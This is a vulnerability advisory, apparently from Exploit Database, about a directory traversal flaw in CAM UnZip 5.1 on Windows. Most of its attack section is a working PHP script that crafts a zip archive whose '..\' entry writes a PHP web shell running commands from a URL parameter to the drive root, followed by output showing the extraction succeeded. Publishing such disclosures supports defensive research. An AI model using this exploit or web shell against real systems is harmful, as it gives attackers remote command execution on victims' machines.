CAM UnZip 5.1 – .’ZIP’ File Directory Traversal

• Exploit Database
• 13 阅读

• 作者： hyp3rlinx
  日期： 2016-04-11
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39680/

• [+] Credits: hyp3rlinx
  
  [+] Website: hyp3rlinx.altervista.org
  
  [+] Source:
  http://hyp3rlinx.altervista.org/advisories/CAMUNZIP-ARCHIVE-PATH-TRAVERSAL.txt
  
  
  Vendor:
  =================
  www.camunzip.com
  
  
  Product:
  ==============
  CAM UnZip v5.1
  
  
  Vulnerability Type:
  ======================
  Archive Path Traversal
  
  
  CVE Reference:
  ==============
  N/A
  
  
  Vulnerability Details:
  =====================
  
  CAM UnZip fails to check that the paths of the files in the archive do not
  engage in path traversal when uncompressing the archive files.
  specially crafted files in the archive containing '..\' in file name can
  overwrite files on the filesystem by backtracking or allow attackers
  to place malicious files on system outside of the target unzip directory
  which may lead to remote command execution exploits etc...
  
  Tested successfully Windows 7
  
  
  Exploit code(s):
  ===============
  
  malicious archive script...
  
  
  <?php
  #CAM UnZip v5.1
  #directory traversal to remote code execution exploit
  #====================================================
  
  if($argc<2){echo "Usage: <filename>";exit();}
  $file_name=$argv[1];
  
  $zip = new ZipArchive();
  $res = $zip->open("$file_name.zip", ZipArchive::CREATE);
  $zip->addFromString("..\..\..\..\..\..\..\..\RCE.php", '<?php
  exec($_GET["cmd"]); ?>');
  $zip->close();
  
  echo "Malicious archive created...\r\n";
  echo "========= hyp3rlinx ============";
  ?>
  
  /////////////////////////////////////////////////////////////////////////////////////
  
  Result:
  
  Creating Folder: C:\Test\BOZO
  
  Extracting Files From: C:\Test\BOZO.zip
  
  Unzipped file C:\Test\BOZO\..\..\..\..\..\..\..\..\RCE.php of size 28
  
  1 file was Extracted.
  
  C:\RCE.php
  
  
  
  
  Exploitation Technique:
  =======================
  Local
  
  
  Severity Level:
  ================
  Medium
  
  
  [+] Disclaimer
  Permission is hereby granted for the redistribution of this advisory,
  provided that it is not altered except by reformatting it, and that due
  credit is given. Permission is explicitly given for insertion in
  vulnerability databases and similar, provided that due credit is given to
  the author.
  The author is not responsible for any misuse of the information contained
  herein and prohibits any malicious use of all security related information
  or exploits by the author or elsewhere.
  
  hyp3rlinx